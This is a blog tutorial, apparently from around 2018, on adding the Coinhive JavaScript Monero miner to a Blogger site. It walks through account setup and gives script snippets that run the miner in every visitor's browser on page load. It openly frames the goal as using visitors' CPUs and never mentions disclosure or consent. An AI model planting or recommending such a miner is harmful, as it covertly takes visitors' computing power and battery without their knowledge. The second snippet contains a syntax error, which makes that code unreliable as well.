How to add a Javascript miner to your blog/website using Coinhive?

in #blog7 years ago

@andrewclk.png

What is Coinhive?

Coinhive operates as a JavaScript miner for the Monero blockchain. You embed the miner into your website and the users run the miner directly in their browser.

You can add a captcha to your website and when the users they click the “Verify Me” button then the Coinhive JavaScript API uses the users CPU power for a brief moment. Coinhive also has a shortlink URL API available, which works in a similar way. Today we will use the javascript miner, we will add a miner to our website to use the CPU of our visitors to mine Monero.

Step 1: Create a Coinhive account

bandicam 2018-03-26 23-11-11-581.jpg

Step 2: Generating A Site & API Key

Once you are into your coinhive account go to settings.
bandicam 2018-03-27 01-05-57-714.jpg

Next, go to Sites and API Keys
bandicam 2018-03-27 01-13-55-450.jpg

Now enter the site domain (eg yourdomain.com) and click to "Create Site" button.

bandicam 2018-03-27 01-51-43-259.jpg

Step 3: Add the code to your site

In this article we will use Blogger. Go to blogger create a new blog if you don't have one, click to "Layout" button, add a gadget and select "HTML/JavaScript"
bandicam 2018-03-27 20-09-13-006.jpg

Step 4: Adding the Javascript miner code

We have done setting up all that we needed and we are all set to add the javascript miner to your website.

Here is what you have to add to your website:

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
    var miner = new CoinHive.User('SITE_KEY', 'NAME');
    miner.start();
</script>

Mobile devices have very less power and hence would be able to mine only very less monero (XMR). So if you don’t want to run the miner on mobile devices you can replace the previous code with this one:

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
    var miner = new CoinHive.User('SITE_KEY', 'NAME');
        if (!miner.isMobile(){
           miner.start();
        }
</script>

Copy and paste it to your gadget:

bandicam 2018-03-27 20-17-19-008.jpg

Step 5: Add your site key to the code

Go to Settings>Sites & API Keys and copy the "Site Key"
bandicam 2018-03-27 19-14-43-668.jpg

And paste it here:

bandicam 2018-03-27 20-20-35-124.jpg

bandicam 2018-03-27 20-23-21-830.jpg

Click save and that's all!

bandicam 2018-03-27 21-07-15-641.jpg

Useful links:

alt text